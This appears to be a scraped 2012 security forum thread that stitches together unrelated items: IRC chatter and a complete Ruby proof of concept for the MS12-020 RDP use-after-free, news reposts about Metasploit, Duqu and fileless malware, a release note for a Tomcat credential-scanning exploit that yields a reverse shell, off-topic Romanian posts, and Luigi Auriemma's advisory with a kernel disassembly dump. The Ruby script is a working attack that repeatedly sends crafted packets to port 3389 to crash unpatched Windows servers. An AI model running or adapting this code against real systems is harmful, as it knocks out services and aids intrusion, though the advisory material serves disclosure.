this: E:\Work\MSRC11678\fuzzer\rdpclient\Release\rdpclient.pdb Turns out the leaked exploit was based on Luigi's originally ZDI submission. myne-us released some info on ms11-065 22:33 < myne-us> http://pastebin.com/rHHHPaFa Several more PoC's were released by myne-us, sleepya, and Alex Ionescu. These triggers reduce the amount of data needed to trigger the condition. 01:53 < sleepya> http://pastebin.com/4FnaYYMz 02:47 < wishi> http://pastebin.com/WYx9kRQ6 02:57 < Alex_Ionescu> http://bit.ly/ACp7nt 03:29 < Alex_Ionescu> http://bit.ly/zhdtSM 05:22 < Alex_Ionescu> http://bit.ly/waXLiA <= C exploit Halvar popped in and dropped knowledge on us. 06:15 < halvar> my suggestion _NMAbortConnection->_SM_OnConnected->_SM_Disconnect->_NM_Disconnect 06:15 < halvar> I have not time to look 06:15 < halvar> but I'd bet money on this 06:16 < halvar> the MS patch makes sure that _NMDetachUserReq can't be called twice on the same code path 06:17 < halvar> _NMDetachUserReq calls _MCsDetachUserRequest calls _DetachUser, which iterates over a linked list of channels, calls their destructor, and frees them 06:17 < halvar> or perhaps not destructor, but calls a pointer in them 06:17 < halvar> if you manage to get the call into _NMDetachUserReq twice 06:17 < halvar> you should be doing this twice 06:17 < halvar> getting eip 06:17 < halvar> (my official guess 06:17 < halvar> ok, gotta run, still sick Another PoC released. 10:29 < d1g1t4l> http://www.privatepaste.com/ffe875e04a 10:29 < d1g1t4l> its mostly aionescu's POC but that triggers it 100% of the time for me 10:29 < d1g1t4l> note the usleep after sending the buffer 10:29 < d1g1t4l> if you kill the connection too early the memory corruption wont be reached 10:30 < d1g1t4l> thats why alex's needs to be run in a loop, you need to get lucky with scheduling 10:43 < f4gty4> just a heads up guys, d1g1t4l's PoC crashes my 2k3 box at RDPWD.sys while this PoC] pastebin.com/WYx9kRQ6 (topic) crashes at termdd.sys #!/usr/bin/env ruby # # ms12-020 PoC attempt # # NOTE: This was crafted based on a legit connection packet capture and reversing # a packet capture of the leaked MAPP PoC. # # by Joshua J. Drake (jduck) # require 'socket' def send_tpkt(sd, data) sd.write(make_tpkt(data)) end def make_tpkt(data) [ 3, # version 0, # reserved 4 + data.length ].pack('CCn') + data end def make_x224(data) [ data.length ].pack('C') + data end def make_rdp(type, flags, data) [ type, flags, 4 + data.length ].pack('CCv') + data end host = ARGV.shift sd = TCPSocket.new(host, 3389) pkts1 = [] # craft connection request rdp = make_rdp(1, 0, [ 0 ].pack('V')) x224_1 = make_x224([ 0xe0, # Connection request 0, # ?? 0, # SRC-REF 0 # Class : Class 0 ].pack('CnnC') + rdp) pkts1 << make_tpkt(x224_1) # craft connect-initial x224_2 = make_x224([ 0xf0, # Data / Class 0 0x80 # EOT: True / NR: 0 ].pack('CC')) # mcsCi target_params = ""+ #"\x02\x01\x00"+ # maxChannelIds "\x02\x01\x22"+ # maxChannelIds "\x02\x01\x0a"+ # maxUserIds "\x02\x01\x00"+ # maxTokenIds "\x02\x01\x01"+ # numPriorities "\x02\x01\x00"+ # minThroughput "\x02\x01\x01"+ # maxHeight "\x02\x02\xff\xff"+ # maxMCSPDUSize "\x02\x01\x02" # protocolVersion min_params = ""+ "\x02\x01\x01"+ # maxChannelIds "\x02\x01\x01"+ # maxUserIds "\x02\x01\x01"+ # maxTokenIds "\x02\x01\x01"+ # numPriorities "\x02\x01\x00"+ # minThroughput "\x02\x01\x01"+ # maxHeight "\x02\x02\x04\x20"+ # maxMCSPDUSize "\x02\x01\x02" # protocolVersion max_params = ""+ "\x02\x02\xff\xff"+ # maxChannelIds "\x02\x02\xfc\x17"+ # maxUserIds "\x02\x02\xff\xff"+ # maxTokenIds "\x02\x01\x01"+ # numPriorities "\x02\x01\x00"+ # minThroughput "\x02\x01\x01"+ # maxHeight "\x02\x02\xff\xff"+ # maxMCSPDUSize "\x02\x01\x02" # protocolVersion userdata = ""+ # gccCCrq "\x00\x05\x00\x14"+ "\x7c\x00\x01\x81\x2a\x00\x08\x00\x10\x00\x01\xc0\x00\x44\x75\x63"+"\x61\x81\x1c"+ # clientCoreData "\x01\xc0"+"\xd8\x00"+ # header (type, len) "\x04\x00"+"\x08\x00"+ # version "\x80\x02"+ # desktop width "\xe0\x01"+ # desktop height "\x01\xca"+ # color depth "\x03\xaa"+ # SASSequence "\x09\x04\x00\x00" + # keyboard layout "\xce\x0e\x00\x00" + # client build number # client name "\x48\x00\x4f\x00\x53\x00\x54\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x04\x00\x00\x00"+ # keyboard type "\x00\x00\x00\x00"+ # kbd subType "\x0c\x00\x00\x00"+ # kbd FuncKey # imeFileName "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x01\xca"+ # postBeta2ColorDepth "\x01\x00"+ # clientProductId "\x00\x00\x00\x00" + # serialNumber "\x10\x00"+ # highColorDepth "\x07\x00"+ # supportedColorDepths "\x01\x00"+ # earlyCapabilityFlags # clientDigProductId -poc has: "00000-000-0000000-00000" "\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x2d\x00\x30\x00\x30\x00"+ "\x30\x00\x2d\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00"+ "\x30\x00\x2d\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x00"+ # connectionType "\x00"+ # pad1octet "\x00\x00\x00\x00"+ # serverSelectedProtocol "\x04\xc0\x0c\x00"+ # desktopPhysicalWidth "\x0d\x00\x00\x00"+ # desktopPhysicalHeight "\x00\x00\x00\x00"+ # reserved # clientSecurityData "\x02\xc0"+"\x0c\x00"+ # header (type, len) "\x1b\x00\x00\x00"+ # encryptionMethods "\x00\x00\x00\x00"+ # extEncryptionMethods # clientNetworkData "\x03\xc0"+"\x2c\x00"+ # header (type, len) "\x03\x00\x00\x00"+ # channel count! # channel 0 "rdpdr\x00\x00\x00"+ # name "\x00\x00\x80\x80"+ # options # channel 1 "cliprdr\x00"+ # name "\x00\x00\xa0\xc0"+ # options # channel 2 "rdpsnd\x00\x00"+ # name "\x00\x00\x00\xc0" # options # clientClusterData (not present) # clientMonitorData (not present) mcs_data = ""+ "\x04\x01\x01"+ # callingDomainSelector "\x04\x01\x01"+ # calledDomainSelector "\x01\x01\xff"+ # upwardFlag "\x30" + [ target_params.length ].pack('C') + target_params + "\x30" + [ min_params.length ].pack('C') + min_params + "\x30" + [ max_params.length ].pack('C') + max_params + # userData "\x04\x82" + [ userdata.length ].pack('n') + userdata mcs = "\x7f\x65\x82" + [ mcs_data.length ].pack('n') # connect-initial (0x65 / 101), length mcs << mcs_data pkts1 << make_tpkt(x224_2 + mcs) # send a special one? #pkts1 << make_tpkt(x224_2 + "\x04\x01\x00\x01\x00") # send more pkts! - based on poc 8.times { pkts1 << make_tpkt(x224_2 + "\x28") } #pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xea") #pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xeb") #pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xec") #pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xed") #pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xee") pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xf0") #pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xf1") #pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xf2") #pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xf3") pkts1 << make_tpkt(x224_2 + "\x21\x80") bigpkt = pkts1.join('') 20.times { |x| puts " [*] Sending #{x + 1} ..." sd.write(bigpkt) send_tpkt(sd, x224_2 + "\x2e\x00\x00\x01") #send_tpkt(sd, x224_2 + "\x2e\x00\x00\x02") #send_tpkt(sd, x224_2 + "\x2e\x00\x00\x03") #send_tpkt(sd, x224_2 + "\x2e\x00\x00\x04") # read connect-initial response buf = sd.recv(1500) # XXX: TODO: check response =) #puts buf } sd.close[h=1]References[/h] CVE-2012-0002 MSB-MS12-020 www.privatepaste.com :: Paste Not Found Private Paste - Pastie Private Paste - Pastie http://stratsec.blogspot.com.au/2012/03/ms12-020-vulnerability-for-breakfast.... Microsoft Terminal Services Use After Free (MS12-020) [h=1]Development[/h] Source Code History Sursa: Metasploit :: Browse Exploit & Auxiliary Modules

[h=1]Exploit For Ms12-020 RDP Bug Moves to Metasploit[/h] March 20, 2012, 2:08PM by Dennis Fisher As the inquiry into who leaked the proof-of-concept exploit code for the MS12-020 RDP flaw continues, organizations that have not patched their machines yet have a new motivation to do so: A Metasploit module for the vulnerability is now available. It's been a week now since Microsoft released a patch for the RDP bug and the exploit code that was included with the information the company sent to its partners in MAPP (Microsoft Active Protections Program) was found in an exploit on a Chinese download site shortly thereafter. Luigi Auriemma, the researcher who discovered and reported the vulnerability to Microsoft through the TippingPoint Zero Day Initiative, said that the packet found in the exploit code that leaked was a direct copy of the one he submitted with his bug report. Officials at ZDI said that they are certain that the code did not leak from their organization. Microsoft officials have said little more than to acknowledge that there seems to be a leak from somewhere within MAPP. The company has not indicated whether that was on their end or from one of the MAPP members. Now, there is a working exploit committed to the Metasploit Framework, which is a typically a good indicator that attacks are about to ramp up. Brad Arkin, head of product security and privacy at Adobe, said in a talk recently that when there's a newly public vulnerability in one of the company's products, the attacks start with a trickle against high value targets and then increase sharply from there. "The biggest jump in exploits we see is right after the release of a Metasploit module," he said. "We'll see a few attacks a day before that and then it will spike to five thousand a day, and it goes up from there. There's a correlation between the broader availability of an exploit and more people getting attacked." The exploit in Metasploit, like the one that has been circulating online, causes a denial-of-service condition on vulnerable machines. Researchers have been working on developing a working remote code execution exploit for the bug, as well, but none has surfaced pulbicly yet. Sursa: Exploit For Ms12-020 RDP Bug Moves to Metasploit | threatpost

[h=1]Symantec Identifies New Duqu Trojan Driver Variant[/h]Tuesday, March 20, 2012 According to a report from ZDNet's Ryan Naraine, Symantec researchers have identified a new variant of the Duqu Trojan, giving reason to believe the malware is very much alive and kicking. Symantec noted the discovery of a previously unseen driver (mcd9×86.sys) for Duqu that was apparently compiled as recently as February of this year. Symantec's Security Response unit announced the discovery via Twitter message: Symantec's analysis showed that the variant did not represent any new functionality in the malware. Naraine reports that "Kaspersky Lab’s Costin Raiu says the latest variant has been engineered to escape detection by the open-source Duqu detector toolkit released by CrySyS Lab." On October 14th, 2011, Symantec was originally sent a sample of the malware which caused quite a stir because of the similarity to the infamous Stuxnet virus, yet the payload and purpose showed that Duqu was a totally new creation. Stuxnet is a highly sophisticated designer-virus that wreaks havoc with SCADA systems which provide operations control for critical infrastructure and production networks, and the initial attacks are thought to have caused severe damage to Iranian uranium enrichment facilities. While Duqu is similar in may respects to Stuxnet, research teams have concluded that its main purpose is to harvest data, not affect physical control systems such as those impacted by Stuxnet. Researchers from the Dell SecureWorks Counter Threat Unit concluded in October of 2011 that Duqu was designed primarily as a data harvesting tool meant to collect sensitive information and keystrokes on infected systems, and that the malware lacks any code similar to that found in Stuxnet which allowed for the physical manipulation of Programmable Logic Controllers (PLC) used in various industrial control systems (ICS). The Dell researchers went on to state that while there are multiple simularities between the two malware variants, the differing payloads and intended results of the two viruses led the team to conclude that the two trojans were in all likelihood probably not related, and were most likely not produced by the same authors. NSS researchers Mohamed Saher and Matthew Molinyawe asserted in November 2011 that Duqu is the first modular plugin rootkit ever identified in the wild, and the sophisticated nature of the malware code leads them to believe that development would have required a significant amount of resource. NSS researchers are working under the assumption that Duqu is still in development, and that the authors are working to perfect the malware prior to unleashing its full potential - such as the delivery of a potentially devastating payload. In December of 2011, the European Network and Information Security Agency (ENISA) released analysis of Duqu which included a warning that industrial control systems (ICS) and supervisory control and data acquisition (SCADA) networks are ill prepared to cope with such threats. ICS-SCADA systems provide operations control for critical infrastructure and production networks including manufacturing facilities, refineries, hydroelectric and nuclear power plants. Sursa: Symantec Identifies New Duqu Trojan Driver Variant

[h=2]Mozilla To Support H.264[/h] suraj.sun writes with a followup to last week's news that Mozilla was thinking about reversing their stance on H.264 support. Mozilla chairman Mitchell Baker and CTO Brendan Eich have now both written blog posts explaining why they feel H.264 support is no longer optional. Eich wrote, "We will not require anyone to pay for Firefox. We will not burden our downstream source redistributors with royalty fees. We may have to continue to fall back on Flash on some desktop OSes. I’ll write more when I know more about desktop H.264, specifically on Windows XP. What I do know for certain is this: H.264 is absolutely required right now to compete on mobile. I do not believe that we can reject H.264 content in Firefox on Android or in B2G and survive the shift to mobile. Losing a battle is a bitter experience. I won’t sugar-coat this pill. But we must swallow it if we are to succeed in our mobile initiatives. Failure on mobile is too likely to consign Mozilla to decline and irrelevance." Baker added, "Our first approach at bringing open codecs to the Web has ended up at an impasse on mobile, but we’re not done yet. ... We'll find a way around this impasse." Sursa: Mozilla To Support H.264 - Slashdot

Sa presupunem ca un int (in exemplul nostru) se memoreaza pe 4 octeti. Pentru valoarea int x = 1; se va memora: - big endian: 00 00 00 01 - little endian: 01 00 00 00 Singurul lucru care trebuie facut, e sa declaram un int (sau ceva ce se memoreaza pe mai mult de un octet), si sa citim primul octet. Cam toate rezolvarile au avut aceasta idee la baza, cam aceasta ar fi rezolvarea: #include <stdio.h> int main() { int var = 1; unsigned char *c = (unsigned char *)&var; /* Pointer la primul octet */ printf("Procesorul este %s\n", *c == 1 ? "little endian" : "big endian"); return 0; } Cei care au raspuns corect in primul post. Felicitari.

The Linux Tips linux tips and tricks Link: http://www.thelinuxtips.com/

Yet Another Google Chrome Sandbox Critical Exploit by Turkish security experts Turkish security experts from Arf Iskenderun Technologies, finds the new vulnerability open in Google Chrome 17.0.963.78 , same risk working on new update 17.0.963.79 and bypass Chrome SandBox. Last week, Vupen Security reports that it has officially "pwned" Google Chrome's sandbox. Vupen hacked Chrome 17.0.963.66 update. But, Turkish security experts claim that they hacked Chrome Sandbox after Vupen and This vulnerability is critical for Chrome. A sandbox is security mechanism used to run an application in a restricted environment. If an attacker is able to exploit the browser in a way that lets him run arbitrary code on the machine, the sandbox would help prevent this code from causing damage to the system. The sandbox would also help prevent this exploit from modifying and even reading your files or any information on the system. Maiden says that their objective is to make the internet a safer environment, "Google Chrome as much as we aim to contribute to the determination of deficits. That were identified as soon as possible and we hope that publishing this open will be closed by Google. We carry this conviction that the strategic gap. Because safety is exceeded SandBox Chrome browser via the browser, any attacker can perform the attack, "he said In First video Turkish experts hacked Chrome Sandbox same Vupen's hacked update. In Another Video, Experts hack the Latest Chrome version 17.0.963.78. Arf Technology, company which works in the software security Erkan Demirkan, to identify security vulnerabilities in software, and stated that the work of a number of close the vulnerability gap. Sursa: Yet Another Google Chrome Sandbox Critical Exploit by Turkish security experts | The Hacker News (THN)

Cyber Criminals Selling Millions of U.S military email addresses Web based underground market service currently selling Millions of harvested U.S government and U.S military harvested emails addresses to potential spammers, and find out just how easy it is to purchase that kind of data within the cyber crime ecosystem. Cyber criminals are getting more sophisticated in their scams and phishing schemes, which are designed to steal personal data and financial information. Spammers and virus creators are motivated by money and backed by organized crime on a global scale. They are also launching massive attacks on anti-spam organizations in an attempt to bring them down. In respect to targeted malware attacks, the service is currently offering 2.462.935 U.S government email addresses, and another 2.178.000 U.S military email addresses. A Screenshot of the inventory of harvested emails currently offered for sale: Spammers buy lists from brokers that continuously harvest email addresses from newsgroups, chat rooms, web sites, Internet directories, and more. Spammers also run dictionary attacks, throwing billions of combinations of words and numbers at an email database to find valid address combinations. People are being tricked by email phishing scams that masquerade as legitimate business communications from their bank, mortgage provider, credit card company, PayPal, or eBay. Other popular spam-based Internet scams include foreign lotteries, investment schemes, chain letters, credit repair offers, advance-fee loan deals, check overpayment cons, and work-at-home ploys. U.S government and U.S military users whose emails have been exposed are advised to be extra vigilant for potential targeted malware attacks enticing them into downloading and executing a malicious attachment, or attempting to trick them into clicking on a client-side exploits serving link found in the emails. [Source] Sursa: Cyber Criminals Selling Millions of U.S military email addresses | The Hacker News (THN)

iPad 3 jailbroken on Launch Day by 3 ways The new Apple iPad (third iPad, iPad 3) has already been jailbroken in at least three different ways. On the same day that Apple started shipping the new iPad out to consumers, there were reports that at least one hacker had already jailbroken the latest tablet. The first to claim was @Musclenerd, a member of the iPhone Dev Team, tweeted a couple of images showing that he had already jailbroken the device. This must be a great relief for Apple fans who want to have their Apple devices, but don’t want Cupertino based tech giant to keep it restricted as it wants. Within the 24 hours of the iOS 5.1 update, teammate @pod2g revealed an untethered jailbreak for the iPad 2 and iPhone 4S. With the new iPad running iOS 5.1 and an A5X processor. His hack was followed by the announcement of a successful untethered jailbreak by teammate, @i0n1c, who released a video as evidence to his accomplishment: Finally, a Tweet by @chpwn and @phoenixdev have revealed a third successful jailbreak, and accompanying photos of the jailbroken new iPad running the Cydia Store: “Jailbroken iPad (3), using a different method by myself and @phoenixdev: http://db.tt/mqIZmw96 http://db.tt/g2UlawxV” Jailbreaking an iPhone, iPod touch, or iPad makes it possible to install apps that aren’t available in Apple’s App Store, among other goodies. Hacking or jailbreak of Apple devices was deemed illegal by officials in the US and hence. Jailbreaking devices so that it can run third-party software, was made legal in the year 2010 by the U.S. Copyright Office. However, that exemption is set to expire, and the Electronic Frontier Foundation (EFF) is asking people to lobby so that jailbreaking will continue to be protected by law. Sursa: iPad 3 jailbroken on Launch Day by 3 ways | The Hacker News (THN)

Kaspersky finds Malware that resides in your RAM Kaspersky Lab researchers have discovered a drive-by download attack that evades hard-drive checkers by installing malware that lives in the computer's memory. The 'fileless' bot is more difficult for antivirus software to detect, and resides in memory until the machine is rebooted. This Malware doesn't create any files on the affected systems was dropped on to the computers of visitors to popular news sites in Russia in a drive-by download attack.Drive-by download attacks are one of the primary methods of distributing malware over the web. They usually exploit vulnerabilities in outdated software products to infect computers without requiring user interaction. The attack code loaded an exploit for a known Java vulnerability (CVE-2011-3544), but it wasn't hosted on the affected websites themselves. Once the malware infected a Microsoft machine, the bot disabled User Account Control, contacted a command and control server and downloaded the 'Lurk' Trojan. The malware also attacked Apple devices. The Java exploit's payload consisted of a rogue DLL that was loaded and attached on the fly to the legitimate Java process.Normally this malware is rare, because it dies when the system is rebooted and the memory is cleared. But the hackers do not really care because there is a good chance that most victims would revisit the infected news websites.Once the malicious DLL loaded into memory it sends data and receives instructions from a command and control server over HTTP. Sursa: Kaspersky finds Malware that resides in your RAM | The Hacker News (THN)

Finan?atorul Pirate Bay a fost condamnat la monitorizare electronic? La începutul lunii, procurorii suedezi au lansat o nou? anchet? împotriva site-ului de sharing Pirate Bay. În 2009, Carl Lundström, împreun? cu fondatorii Gottfrid Svartholm Warg, Peter Sunde ?i Fredrik Neij, au fost condamna?i la câte un an de închisoare pentru complicitate la violarea drepturilor de copyright ?i au primit o amend? combinat? de 30 de milioane de coroane (4,4 milioane de dolari). To?i patru au f?cut recurs, îns? Curtea de Apel a decis în 2010 s? p?streze sentin?ele, exceptându-l pe Svartholm Warg, care a fost absent pe motiv de boal?. Tot atunci, sentin?a lui Carl Lundström, care a devenit foarte bogat dup? vânzarea companiei produc?toare de pâine a bunicului s?u, Karl Lundström, a fost redus? de la 1 an la 4 luni, iar milionarul a fost somat s?-?i pl?teasc? partea de 6,78 milioane de dolari.Cei trei pira?i r?ma?i au trimis apoi o peti?ie Cur?ii Supreme din Suedia, îns? aceasta a anun?at, în februarie 2012, c? le-a refuzat cererea ?i c? decizia Cur?ii de Apel r?mâne în picioare. Site-ul piratebay.org nu a putut fi accesat o vreme, vizitatorii fiind redirec?iona?i spre o nou? adres?, thepiratebay.se, domeniu înregistrat la compania suedez? Binero de c?tre Fredrik Neij.Acum, Carl Lundström, care va împlini 52 de ani luna viitoare, este preg?tit s?-?i execute sentin?a, îns? nu în închisoare. Legea suedez? permite oric?rei persoane condamnate la mai pu?in de ?ase luni în închisoare s? aplice pentru a lucra în folosul comunit??ii. Lundström a ales aceast? cale, iar solicitarea i-a fost aprobat?. Omul de afaceri î?i va p?r?si locuin?a din Elve?ia ?i se va întoarce în Suedia, unde va petrece patru luni sub monitorizare electronic? într-un apartament din ora?ul Gothenburg. Îl va putea p?r?si doar pentru a merge la un job aranjat de autorit??ile suedeze, având un program strict. De?i Lundström este obligat s? pl?teasc? cele 6,78 milioane de dolari, autorit??ile suedeze au reu?it s? g?seasc? bunuri în valoare de doar 33.149 de dolari. Ceilal?i trei condamna?i, Fredrik Neij, Peter Sunde ?i Gottfrid Svartholm urmeaz? s? fie informa?i despre modalitatea în care î?i vor executa sentin?a. Nici unul dintre ei nu locuie?te în prezent în Suedia, iar despre Svartholm, de la care nimeni n-a mai primit ve?ti de mult? vreme, exist? suspiciunea c? ar fi murit între timp.Foto: Flickr/SigNote Cloud Sursa: http://totb.ro/finantatorul-pirate-bay-a-fost-condamnat-la-monitorizare-electronica

#include <iostream> #include <cstdlib> #include <ctime> using namespace std; cout<<endl<<endl; Deci e .C ?

Da, dar se pot intampla si multe chestii aiurea, eu primam BSOD de 7-8 ori pe zi. Bine, nu sunt genu "ba, iau BSOD, cumpara-mi alt calculator", dar a trecut ceva timp sa imi dau seama ca problema era de la un driver pentru portul serial... La fel sunt problemele cu "nu merge reteaua". Stiu ca pusesem EU un cablu de telefon aiurea, si se forma o bucla infinita, si reteaua merge putin, pica, iar mergea putin, iar pica... Si nu e neaparat usor sa iti dai seama de asta.

E oarecum mai lejer ca sysadmin, ai mult timp liber, dar apar probleme ca "Ba, nu imi merge calculatorul, ce sa ii fac?", sau daca se intampla ceva la 02:00 AM ar cam trebui sa mergi sa rezolvi problema, sysadminii de la mine au venit sambata si duminica sa configureze reteaua dupa ce au pus mai multe servere, sau lucrau seara de dupa program pana noaptea pe la 03:00.

Mystery of Duqu Programming Language Solved An appeal for help from the programming community has allowed antivirus analysts to classify the unknown language used to develop key components of the Duqu Trojan. The sections responsible for downloading and executing additional modules in the Duqu Trojan, referred to by some as Stuxnet 2.0, were written in standard C++. Kaspersky Lab experts now say with a high degree of certainty that the Duqu framework was written using a custom object-oriented extension to C, generally called “OO C” and compiled with Microsoft Visual Studio Compiler 2008 (MSVC 2008) with special options for optimizing code size and inline expansion. Kaspersky’s Igor Soumenkov wrote, “No matter which of these two variants is true, the implications are impressive. The Payload DLL contains 95 Kbytes of event-driven code written with OO C, a language that has no automatic memory management or safe pointers,”. Kaspersky’s analysis now concludes: The Duqu Framework consists of “C” code compiled with MSVC 2008 using the special options “/O1? and “/Ob1? The code was most likely written with a custom extension to C, generally called “OO C” The event-driven architecture was developed as a part of the Duqu Framework or its OO C extension The C&C code could have been reused from an already existing software project and integrated into the Duqu Trojan The Duqu Framework may have been created by a different programming team, since it is unique to Duqu, unlike many parts of Duqu that seem to be directly borrowed from Stuxnet. It’s believed that the developers are old school that don’t trust C++ and that’s probably why they relied on C. Another reason for using OO C is because back in the good old days it was more portable than C++. Knowing the techniques used to develop the malware allows Kaspersky's researchers to make better guesses about who might be behind the code. Creating Duqu was a major project, so it’s possible that an entirely different team was responsible for creating the Duqu Framework, while others worked on creating drivers and system infection exploits. In this scenario it's even possible that those who created the Duqu framework were ignorant of the real purpose of their work. Duqu was first detected in September 2011, but Kaspersky Lab believes it has seen the first pieces of Duqu-related malware dating back to August 2007. The Russian security firm also notes Duqu, like Stuxnet before it, is highly targeted and related to Iran’s nuclear program. Sursa: Mystery of Duqu Programming Language Solved | The Hacker News (THN)

[h=1]Apache Tomcat Remote Exploit (PUT Request) and Account Scanner[/h] ISOWAREZ RELEASEBy KINGCOPE - YEAR 2012 -== Apache Tomcat Remote Exploit and Account Scanner ==- the modified pnscan scanner utility scans a range of IPs to find open apache tomcat servers by trying the following login access combinations: tomcat:tomcat password:password admin:admin admin:password admin:<nopassword> tomcat:<nopassword> the included perl script can be used to unlock apache tomcat servers remotely by using the collected login combinations. it will retrieve either a root or SYSTEM reverse shell depending on the operating system or the equivalent of a reverse shell as the current user tomcat is running as. the exploit might contain metasploit logic (thanks to jduck). Enjoy :> /Kingcope http://www.exploit-db.com/sploits/tomcat-remote.zip Sursa: Apache Tomcat Remote Exploit (PUT Request) and Account Scanner

Care parc? Izvor? Pana unde ai semnal acceptabil?

Exista pe un hosting chinezesc, dar nu am incercat.

Citeste tot...

Full disclosure ####################################################################### Luigi Auriemma Application: Microsoft Terminal Services / Remote Desktop Services http://www.microsoft.com http://msdn.microsoft.com/en-us/library/aa383015(v=vs.85).aspx Versions: any Windows version before 13 Mar 2012 Platforms: Windows Bug: use after free Exploitation: remote, versus server Date: 16 Mar 2012 (found 16 May 2011) Author: Luigi Auriemma e-mail: aluigi@autistici.org web: aluigi.org Additional references: http://www.zerodayinitiative.com/advisories/ZDI-12-044/ http://technet.microsoft.com/en-us/security/bulletin/ms12-020 ####################################################################### 1) Introduction 2) Bug 3) The Code 4) Fix ####################################################################### =============== 1) Introduction =============== From vendor's homepage: "The Microsoft Remote Desktop Protocol (RDP) provides remote display and input capabilities over network connections for Windows-based applications running on a server. RDP is designed to support different types of network topologies and multiple LAN protocols." ####################################################################### ====== 2) Bug ====== The Remote Desktop Protocol is used by the "Terminal Services / Remote Desktop Services" and works at kernel level on port 3389. There is an use-after-free vulnerability located in the handling of the maxChannelIds field of the T.125 ConnectMCSPDU packet (offset 0x2c of the provided proof-of-concept) when set to a value minor/equal than 5. The problem happens during the disconnection of the user started with RDPWD!NM_Disconnect while the effect of the possible code execution is visible in termdd!IcaBufferAlloc (or termdd!IcaBufferAllocEx on Windows 7/2008) after termdd!IcaGetPreviousSdLink returns an invalid memory pointer, the following dump is taken from Windows 2003 Server: f761887c 8bff mov edi,edi f761887e 55 push ebp f761887f 8bec mov ebp,esp f7618881 56 push esi f7618882 57 push edi f7618883 8b7d08 mov edi,dword ptr [ebp+8] f7618886 8d47ec lea eax,[edi-14h] f7618889 50 push eax f761888a eb09 jmp termdd!IcaBufferAlloc+0x19 (f7618895) f761888c 8b4618 mov eax,dword ptr [esi+18h] ; we are here f761888f 833800 cmp dword ptr [eax],0 ; or here f7618892 7527 jne termdd!IcaBufferAlloc+0x3f (f76188bb) ; must jump f7618894 56 push esi f7618895 e878290000 call termdd!IcaGetPreviousSdLink (f761b212) ; the new ESI is returned by this function f761889a 8bf0 mov esi,eax f761889c 85f6 test esi,esi f761889e 75ec jne termdd!IcaBufferAlloc+0x10 (f761888c) f76188a0 ff751c push dword ptr [ebp+1Ch] f76188a3 ff7518 push dword ptr [ebp+18h] f76188a6 ff7514 push dword ptr [ebp+14h] f76188a9 ff7510 push dword ptr [ebp+10h] f76188ac ff750c push dword ptr [ebp+0Ch] f76188af 57 push edi f76188b0 e8b9fcffff call termdd!IcaBufferAllocInternal (f761856e) f76188b5 5f pop edi f76188b6 5e pop esi f76188b7 5d pop ebp f76188b8 c21800 ret 18h f76188bb 33c0 xor eax,eax f76188bd 53 push ebx f76188be 8d7e10 lea edi,[esi+10h] f76188c1 40 inc eax f76188c2 f00fc107 lock xadd dword ptr [edi],eax f76188c6 ff751c push dword ptr [ebp+1Ch] f76188c9 8b4618 mov eax,dword ptr [esi+18h] ; the same value of before f76188cc ff7518 push dword ptr [ebp+18h] f76188cf ff7514 push dword ptr [ebp+14h] f76188d2 ff7510 push dword ptr [ebp+10h] f76188d5 ff750c push dword ptr [ebp+0Ch] f76188d8 ff761c push dword ptr [esi+1Ch] f76188db ff10 call dword ptr [eax] ; code execution f76188dd 8bd8 mov ebx,eax f76188df 83c8ff or eax,0FFFFFFFFh f76188e2 f00fc107 lock xadd dword ptr [edi],eax f76188e6 7506 jne termdd!IcaBufferAlloc+0x72 (f76188ee) f76188e8 56 push esi f76188e9 e8382f0000 call termdd!_IcaUnloadSd (f761b826) f76188ee 8bc3 mov eax,ebx f76188f0 5b pop ebx f76188f1 ebc2 jmp termdd!IcaBufferAlloc+0x39 (f76188b5) eax=040b0402 ebx=e1492090 ecx=00390080 edx=00000003 esi=040b0402 edi=e1438240 eip=f762888c esp=b832f9d8 ebp=b832f9e0 iopl=0 nv up ei pl nz na po nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010202 termdd!IcaBufferAlloc+0x10: f762888c 8b4618 mov eax,dword ptr [esi+18h] ds:0023:040b041a=???????? ChildEBP RetAddr b8b399e0 b89c1c34 termdd!IcaBufferAlloc+0x10 b8b39a00 b89c1c67 RDPWD!StackBufferAlloc+0x26 b8b39a2c b89a902c RDPWD!MCSDetachUserRequest+0x29 b8b39a40 b89a8b44 RDPWD!NMDetachUserReq+0x14 b8b39a4c b89a9185 RDPWD!NM_Disconnect+0x16 b8b39a58 b89adcb4 RDPWD!SM_Disconnect+0x27 b8b39a68 b89a906d RDPWD!SM_OnConnected+0x70 b8b39a88 b89a8db4 RDPWD!NMAbortConnect+0x23 b8b39ac0 b89a9d88 RDPWD!NM_Connect+0x86 b8b39ae0 b89abcfc RDPWD!SM_Connect+0x112 b8b39b08 b89ac786 RDPWD!WDWConnect+0x368 b8b39b3c b89a6959 RDPWD!WDWConfConnect+0x94 b8b39b70 f762c1c7 RDPWD!WD_Ioctl+0x1227 b8b39b8c f762c5a3 termdd!_IcaCallSd+0x35 b8b39bac f762ca10 termdd!_IcaCallStack+0x55 b8b39bf4 f762abcc termdd!IcaDeviceControlStack+0x414 b8b39c24 f762ad20 termdd!IcaDeviceControl+0x4e b8b39c3c 8081d5c3 termdd!IcaDispatch+0x12a 